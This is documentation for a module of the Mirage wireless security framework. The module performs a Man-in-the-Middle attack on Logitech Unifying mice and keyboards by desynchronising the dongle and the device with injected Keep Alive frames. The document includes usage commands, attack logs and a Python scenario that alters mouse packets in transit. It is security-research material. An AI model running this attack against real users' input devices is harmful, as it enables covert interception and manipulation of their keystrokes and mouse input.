esb_mitm¶
Presentation¶
esb_mitm allows to perform an experimental Man-in-the-Middle attack targeting a Logitech Unifying device. It works with two RFStorm Device, allowing to use the normal mode in order to capture frames. The attack is based on the fact that Logitech Unifying devices implement a custom channel hopping algorithm, aiming at maximizing the time on a specific channel. The dongle and the device (mouse or keyboard) acts as follow:
the device regularly sends to the dongle Keep Alive frames including a timeout field,
the dongle stays on the same channel until it receives no frame before the last Keep Alive timeout expiration,
the device stays on the same channel until it receives no acknowledgment to its transmitted frames,
when the dongle or the device have to change the channel, they randomly explore channels until they are on the same one.
This attack will find the channel used by the dongle and the device, then the module will inject a Keep Alive packet with a very low timeout value. As a consequence, the dongle will quickly consider the connection as lost and change its channel. Then, the module will start acknowledging device’s frames on the initial channel i with the first device and transmit Keep Alive frames on another channel j. If the dongle jumps to channel j, it will consider that the Keep Alive frames are transmitted by the legitimate device and will stay on this channel. As a result, the device and the dongle are stuck on different channels, the attacker can then interact with both of them independantly and is in a Man-in-the-Middle position.
By default, once the Man-in-the-Middle is active, the module will forward packets to the dongle. However, you can use a scenario to customize the module’s behaviour.
Keep in mind that this attack is only compatible with Logitech Unifying devices, and may be quite unstable.
Compatible devices¶
Input parameters¶
Name |
Default value |
Possible values |
Description |
---|---|---|---|
INTERFACE1 |
rfstorm0 |
rfstormX |
First interface to use |
INTERFACE2 |
rfstorm1 |
rfstormX |
Second interface to use |
TARGET |
<ESB adress> |
Address of the target device |
|
SHOW_ACK |
no |
yes|no |
Show acknowledgments frames from dongle |
TIMEOUT |
2 |
<integer> |
Time without receiving packets before the connection is considered as lost by the module |
SCENARIO |
<scenario> |
Scenario to use |
Output parameters¶
This module doesn’t provide any output parameters.
Scenario signals¶
The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described here. The following signals are generated by this module if a scenario is provided using the SCENARIO input parameter :
Signal |
Parameters |
Activation |
Default behaviour |
---|---|---|---|
onStart |
when the module starts its execution |
nothing is executed |
|
onEnd |
when the module stops its execution |
nothing is executed |
|
onKey |
key |
when a key is pressed |
nothing is executed |
onLogitechMousePacket |
packet |
when a Logitech Mouse packet is received |
the packet is redirected |
onLogitechSetTimeoutPacket |
packet |
when a Logitech Set Timeout packet is received |
the packet is redirected |
onLogitechUnencryptedKeyReleasePacket |
packet |
when a Logitech Unencrypted Key Release packet is received |
the packet is redirected |
onLogitechUnencryptedKeyPressPacket |
packet |
when a Logitech Unencrypted Key Press packet is received |
the packet is redirected |
onLogitechKeepAlivePacket |
packet |
when a Logitech Keep Alive packet is received |
the packet is redirected |
onLogitechEncryptedKeystrokePacket |
packet |
when a Logitech Encrypted Keystroke packet is received |
the packet is redirected |
onLogitechMultimediaKeyPressPacket |
packet |
when a Logitech Multimedia Key Press packet is received |
the packet is redirected |
onLogitechMultimediaKeyReleasePacket |
packet |
when a Logitech Multimedia Key Release packet is received |
the packet is redirected |
onAcknowledgmentPacket |
packet |
when an Acknowledgment packet is received |
the packet is ignored (because Auto Acknowledgment is enabled) |
Usage¶
Basic Usage¶
If you want to attack a specific target, you have to provide the TARGET parameter :
$ mirage esb_mitm TARGET=6A:62:49:49:A4
[INFO] Module esb_mitm loaded !
[INFO] Entering SCAN stage ...
[SUCCESS] Dongle found !
[INFO] Entering DESYNC stage ...
[INFO] Transmitting ACK frames for device on channel 32 ...
[INFO] Transmitting KeepAlive frames for dongle on channel 47 ...
[PACKET] [ CH:32 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=-8 | y=6 >>
[INFO] Injecting malicious KeepAlive...
[...]
[PACKET] [ CH:32 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=-5 | y=1 >>
[INFO] Injecting malicious KeepAlive...
[SUCCESS] Acknowledgment received on channel 71!
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Mouse packet (from device): x = 13 / y = 24
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 9 / y = 13
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 2 / y = 9
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 0 / y = 2
[INFO] Redirecting to dongle ...
Customizing the behaviour using scenarios¶
It’s quite easy to modify the behaviour of this module using a scenario. If you need more details about scenarios, their usage is described here. As an example, we provide a scenario named logitech_invert_mouse_mitm.py, allowing to invert the mouse movements on the fly during a Man-in-the-Middle attack:
from mirage.core import scenario
from mirage.libs import io,esb,utils,wireless
class logitech_invert_mouse_mitm(scenario.Scenario):
# When the module starts...
def onStart(self):
self.dongleEmitter = self.module.dongleEmitter
self.dongleReceiver = self.module.dongleReceiver
self.deviceEmitter = self.module.deviceEmitter
self.deviceReceiver = self.module.deviceReceiver
# When a Logitech mouse packet is received...
def onLogitechMousePacket(self,pkt):
# Invert mouse button
if pkt.buttonMask != 0x00:
if pkt.buttonMask == 0x01:
invertedButton = 0x02
else:
invertedButton = 0x01
else:
invertedButton = 0x00
# Transmit packet
new = esb.ESBLogitechMousePacket(address=self.module.args["TARGET"],x=-pkt.x, y=-pkt.y, buttonMask = invertedButton)
self.dongleEmitter.sendp(new)
# Prevent default behaviour
return False
To launch this attack, you only have to provide the scenario’s name as SCENARIO input parameter :
$ mirage esb_mitm TARGET=6A:62:49:49:A4 SCENARIO=logitech_invert_mouse_mitm
[INFO] Module esb_mitm loaded !
[INFO] Scenario loaded !
[INFO] Entering SCAN stage ...
[SUCCESS] Dongle found !
[INFO] Entering DESYNC stage ...
[PACKET] [ CH:71 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-4 >>
[INFO] Injecting malicious KeepAlive...
[INFO] Transmitting ACK frames for device on channel 71 ...
[INFO] Transmitting KeepAlive frames for dongle on channel 65 ...
[...]
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-1 >>
[INFO] Injecting malicious KeepAlive...
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-2 >>
[INFO] Injecting malicious KeepAlive...
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=1 | y=0 >>
[INFO] Injecting malicious KeepAlive...
[SUCCESS] Acknowledgment received on channel 8!
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Keep Alive Packet (from device): timeout = 85
[INFO] Redirecting to dongle ...
[INFO] Set Timeout packet (from device): timeout = 85
[INFO] Redirecting to dongle ...
[INFO] Set Timeout packet (from device): timeout = 85
[INFO] Redirecting to dongle ...
If the attack is successful, every mouse movement should be inverted (x replaced by -x, y replaced by -y and inverted button clicks).